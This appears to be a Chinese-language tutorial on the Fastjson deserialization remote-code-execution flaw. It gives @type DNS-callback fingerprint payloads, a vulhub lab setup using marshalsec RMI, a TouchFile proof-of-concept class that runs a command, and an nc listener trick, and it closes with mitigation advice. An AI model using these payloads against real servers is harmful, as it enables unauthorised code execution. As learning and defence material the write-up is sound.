1. 漏洞簡介
Fastjosn 無疑是這兩年的漏洞之王, 一手反序列化RCE影響無數廠商, 目前1.2.48以下版本穩定受影響, 1.2.68以下版本開啓Autotype會受到影響
(不排除傳說中的1.2.67以下RCE漏洞, 期待八仙過海)
2. 影響組件
Fastjson < 1.2.48 (<1.2.68?)
3. 漏洞指紋
可以通過DNS回顯的方式檢測後端是否使用Fastjson
{"@type":"java.net.Inet4Address", "val":"dnslog"}
{"@type":"java.net.Inet6Address", "val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":, "val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL", "val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL", "val":"dnslog"}]
Set[{"@type":"java.net.URL", "val":"dnslog"}
{{"@type":"java.net.URL", "val":"dnslog"}:0
可以通過DOS時間延遲或者報錯回顯的方式檢測
4.漏洞分析
用marshalsec開啓RMI服務
git clone https://github.com/mbechler/marshalsec.git
mvn clean package -DskipTests
執行如下命令啓動一個spring web項目,其中使用fastjson作爲默認json解析器:
cd vulhub/fastjson/1.2.24-rce
docker-compose up -d
訪問http://your-ip:8090即可看到一個json對象被返回,我們將content-type修改爲application/json後可向其POST新的JSON對象,後端會利用fastjson進行解析。
目標環境是openjdk:8u102,這個版本沒有com.sun.jndi.rmi.object.trustURLCodebase的限制,我們可以簡單利用RMI進行命令執行。
用javac編譯代碼
// javac TouchFile.javaimport java.lang.Runtime;import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
用python搭建http
啓動一個RMI服務器,監聽9999端口,並制定加載遠程類TouchFile.class:
向目標發送payload即可
5. 利用技巧
1.如何查看服務器的jdk版本呢, 這裏也有個小技巧
nc -lvvp 80#[marshalsec中指定的HTTP端口]
當服務器連接過來時, User-Agent中會標明當前服務器的JDK版本
2.當發現一臺Redis的數據中有@type字樣時, 意味着autotype大概率是開的, 只要不存在黑名單中的利用鏈都可以用#[同理可以用在jackson上]
fastjson/GenericFastJsonRedisSerializer.java at master · alibaba/fastjson
https://github.com/alibaba/fastjson/blob/master/src/main/java/com/alibaba/fastjson/support/spring/GenericFastJsonRedisSerializer.java
public class GenericFastJsonRedisSerializer implements RedisSerializer<Object> {
private final static ParserConfig defaultRedisConfig = new ParserConfig();
static { defaultRedisConfig.setAutoTypeSupport(true);}
其他消息隊列之類的都是同理
6. 防護方法
1.升級Fastjson到最新版(>=1.2.68 新增了safemode, 徹底關閉autotype)
2.WAF攔截過濾請求包中的 @type, %u0040%u0074%u0079%u0070%u0065, \u0040type, \x04type等多種編碼的autotype變形
3.最少升級到1.2.48以上版本且關閉autotype選項
4.升級對應JDK版本到 8u191/7u201/6u211/11.0.1 以上